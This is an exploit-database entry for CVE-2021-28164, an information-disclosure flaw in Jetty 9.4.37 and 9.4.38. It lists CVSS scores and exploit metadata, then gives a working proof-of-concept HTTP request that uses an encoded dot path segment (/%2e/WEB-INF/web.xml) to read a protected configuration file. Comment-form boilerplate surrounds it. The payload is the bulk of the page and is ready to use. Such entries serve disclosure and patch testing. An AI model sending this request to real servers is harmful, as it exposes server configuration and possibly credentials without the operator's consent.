Jetty 9.4.37.v20210219 Information Disclosure

2021.10.23

Credit: Mayank Deshmukh

Risk: Medium

Local: Yes

Remote: No

CVE: CVE-2021-28164

CWE: CWE-200

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure 
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Jetty 9.4.37.v20210219 Information Disclosure

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.